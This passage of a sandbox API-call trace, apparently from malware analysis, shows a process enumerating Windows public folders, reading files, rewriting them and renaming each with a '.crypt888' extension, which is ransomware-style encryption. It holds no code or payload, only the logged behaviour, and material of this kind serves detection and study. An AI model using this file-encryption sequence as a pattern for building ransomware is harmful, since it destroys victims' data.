fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7cfd620, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xc7cfd620, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc7de1e60, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0091.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0091.720] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Music\\Hack.html" (normalized: "c:\\users\\public\\music\\hack.html"), lpNewFileName="C:\\Users\\Public\\Music\\Hack.html.crypt888" (normalized: "c:\\users\\public\\music\\hack.html.crypt888")) returned 1 [0091.723] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0091.723] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music", lpFilePart=0x0) returned 0x22 [0091.723] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music\\", lpFilePart=0x0) returned 0x23 [0091.723] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a968 [0091.726] FindNextFileW (in: hFindFile=0x59a968, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.726] FindNextFileW (in: hFindFile=0x59a968, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.726] FindNextFileW (in: hFindFile=0x59a968, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.726] FindNextFileW (in: hFindFile=0x59a968, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.726] FindNextFileW (in: hFindFile=0x59a968, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.726] FindNextFileW (in: hFindFile=0x59a968, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0091.726] FindClose (in: hFindFile=0x59a968 | out: hFindFile=0x59a968) returned 1 [0091.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0091.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0091.727] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0091.728] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music", lpFilePart=0x0) returned 0x22 [0091.728] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music\\", lpFilePart=0x0) returned 0x23 [0091.728] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a968 [0091.729] FindNextFileW (in: hFindFile=0x59a968, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.729] FindNextFileW (in: hFindFile=0x59a968, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.729] FindNextFileW (in: hFindFile=0x59a968, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.729] FindNextFileW (in: hFindFile=0x59a968, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.729] FindNextFileW (in: hFindFile=0x59a968, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.729] FindNextFileW (in: hFindFile=0x59a968, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0091.730] FindClose (in: hFindFile=0x59a968 | out: hFindFile=0x59a968) returned 1 [0091.730] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0091.730] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0091.730] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Sample Music\\Hack.html", lpFilePart=0x0) returned 0x2c [0091.731] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0091.731] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Hack.html" (normalized: "c:\\users\\public\\music\\sample music\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.732] GetFileType (hFile=0x174) returned 0x1 [0091.732] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0091.732] GetFileType (hFile=0x174) returned 0x1 [0091.733] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Music\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Music\\Hack.html", lpFilePart=0x0) returned 0x1f [0091.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0091.733] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Hack.html" (normalized: "c:\\users\\public\\music\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0091.735] GetFileType (hFile=0x174) returned 0x1 [0091.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0091.735] GetFileType (hFile=0x174) returned 0x1 [0091.737] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0091.737] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures", lpFilePart=0x0) returned 0x18 [0091.737] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\", lpFilePart=0x0) returned 0x19 [0091.737] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a968 [0091.737] FindNextFileW (in: hFindFile=0x59a968, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.737] FindNextFileW (in: hFindFile=0x59a968, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.737] FindNextFileW (in: hFindFile=0x59a968, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.737] FindNextFileW (in: hFindFile=0x59a968, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.738] FindNextFileW (in: hFindFile=0x59a968, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0091.738] FindClose (in: hFindFile=0x59a968 | out: hFindFile=0x59a968) returned 1 [0091.738] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0091.738] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0091.738] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0091.738] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures", lpFilePart=0x0) returned 0x18 [0091.738] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\", lpFilePart=0x0) returned 0x19 [0091.738] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a968 [0091.738] FindNextFileW (in: hFindFile=0x59a968, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.739] FindNextFileW (in: hFindFile=0x59a968, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.739] FindNextFileW (in: hFindFile=0x59a968, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.739] FindNextFileW (in: hFindFile=0x59a968, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0091.739] FindNextFileW (in: hFindFile=0x59a968, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0091.739] FindClose (in: hFindFile=0x59a968 | out: hFindFile=0x59a968) returned 1 [0091.739] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0091.739] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0091.739] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Hack.html", lpFilePart=0x0) returned 0x22 [0091.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0091.739] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Hack.html" (normalized: "c:\\users\\public\\pictures\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0091.740] GetFileType (hFile=0x174) returned 0x1 [0091.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0091.740] GetFileType (hFile=0x174) returned 0x1 [0091.740] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0xba [0091.740] ReadFile (in: hFile=0x174, lpBuffer=0x28abfec, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x28abfec*, lpNumberOfBytesRead=0x39ed58*=0xba, lpOverlapped=0x0) returned 1 [0091.857] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Hack.html", lpFilePart=0x0) returned 0x22 [0091.857] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0091.857] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Hack.html" (normalized: "c:\\users\\public\\pictures\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0091.858] GetFileType (hFile=0x174) returned 0x1 [0091.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0091.858] GetFileType (hFile=0x174) returned 0x1 [0091.858] WriteFile (in: hFile=0x174, lpBuffer=0x26f9e48*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ed1c, lpOverlapped=0x0 | out: lpBuffer=0x26f9e48*, lpNumberOfBytesWritten=0x39ed1c*=0xc0, lpOverlapped=0x0) returned 1 [0091.859] CloseHandle (hObject=0x174) returned 1 [0091.859] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Hack.html", lpFilePart=0x0) returned 0x22 [0091.859] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Hack.html.crypt888", lpFilePart=0x0) returned 0x2b [0091.859] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0091.859] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Hack.html" (normalized: "c:\\users\\public\\pictures\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7cfd620, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xc7cfd620, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc7f38ac0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0091.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0091.860] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Hack.html" (normalized: "c:\\users\\public\\pictures\\hack.html"), lpNewFileName="C:\\Users\\Public\\Pictures\\Hack.html.crypt888" (normalized: "c:\\users\\public\\pictures\\hack.html.crypt888")) returned 1 [0091.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0091.860] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures", lpFilePart=0x0) returned 0x28 [0091.860] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\", lpFilePart=0x0) returned 0x29 [0091.860] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a628 [0091.862] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.863] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.863] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.863] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.863] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.863] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.863] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.863] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.863] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.863] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.863] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0091.864] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0091.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0091.864] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0091.864] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures", lpFilePart=0x0) returned 0x28 [0091.864] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\", lpFilePart=0x0) returned 0x29 [0091.864] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a628 [0091.865] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.865] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.865] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.866] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.866] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.866] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.866] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.866] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.866] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.866] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0091.866] FindNextFileW (in: hFindFile=0x59a628, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0091.867] FindClose (in: hFindFile=0x59a628 | out: hFindFile=0x59a628) returned 1 [0091.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0091.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0091.867] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg", lpFilePart=0x0) returned 0x3a [0091.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0091.868] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0091.871] GetFileType (hFile=0x174) returned 0x1 [0091.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0091.871] GetFileType (hFile=0x174) returned 0x1 [0091.871] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xd6b22 [0091.873] ReadFile (in: hFile=0x174, lpBuffer=0x36a9730, nNumberOfBytesToRead=0xd6b22, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x36a9730*, lpNumberOfBytesRead=0x39ed24*=0xd6b22, lpOverlapped=0x0) returned 1 [0091.910] CloseHandle (hObject=0x174) returned 1 [0092.039] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg", lpFilePart=0x0) returned 0x3a [0092.039] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0092.039] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x26c [0092.047] GetFileType (hFile=0x26c) returned 0x1 [0092.047] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0092.047] GetFileType (hFile=0x26c) returned 0x1 [0092.047] WriteFile (in: hFile=0x26c, lpBuffer=0x3adaf50*, nNumberOfBytesToWrite=0xd6b30, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x3adaf50*, lpNumberOfBytesWritten=0x39ed14*=0xd6b30, lpOverlapped=0x0) returned 1 [0092.063] CloseHandle (hObject=0x26c) returned 1 [0092.063] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg", lpFilePart=0x0) returned 0x3a [0092.064] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg.crypt888", lpFilePart=0x0) returned 0x43 [0092.064] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0092.064] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xc8127ca0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xd6b30)) returned 1 [0092.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0092.064] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg.crypt888" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg.crypt888")) returned 1 [0092.064] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg", lpFilePart=0x0) returned 0x33 [0092.064] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0092.065] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x26c [0092.065] GetFileType (hFile=0x26c) returned 0x1 [0092.065] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0092.065] GetFileType (hFile=0x26c) returned 0x1 [0092.065] GetFileSize (in: hFile=0x26c, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xce875 [0092.082] ReadFile (in: hFile=0x26c, lpBuffer=0x36698d0, nNumberOfBytesToRead=0xce875, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x36698d0*, lpNumberOfBytesRead=0x39ed24*=0xce875, lpOverlapped=0x0) returned 1 [0092.094] CloseHandle (hObject=0x26c) returned 1 [0092.194] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg", lpFilePart=0x0) returned 0x33 [0092.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0092.194] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x26c [0092.202] GetFileType (hFile=0x26c) returned 0x1 [0092.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0092.203] GetFileType (hFile=0x26c) returned 0x1 [0092.203] WriteFile (in: hFile=0x26c, lpBuffer=0x36698d0*, nNumberOfBytesToWrite=0xce880, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x36698d0*, lpNumberOfBytesWritten=0x39ed14*=0xce880, lpOverlapped=0x0) returned 1 [0092.217] CloseHandle (hObject=0x26c) returned 1 [0092.217] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg", lpFilePart=0x0) returned 0x33 [0092.218] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg.crypt888", lpFilePart=0x0) returned 0x3c [0092.218] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0092.218] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xc82a4a60, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xce880)) returned 1 [0092.218] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0092.218] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg.crypt888" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg.crypt888")) returned 1 [0092.218] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg", lpFilePart=0x0) returned 0x37 [0092.218] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0092.218] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x26c [0092.219] GetFileType (hFile=0x26c) returned 0x1 [0092.219] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0092.219] GetFileType (hFile=0x26c) returned 0x1 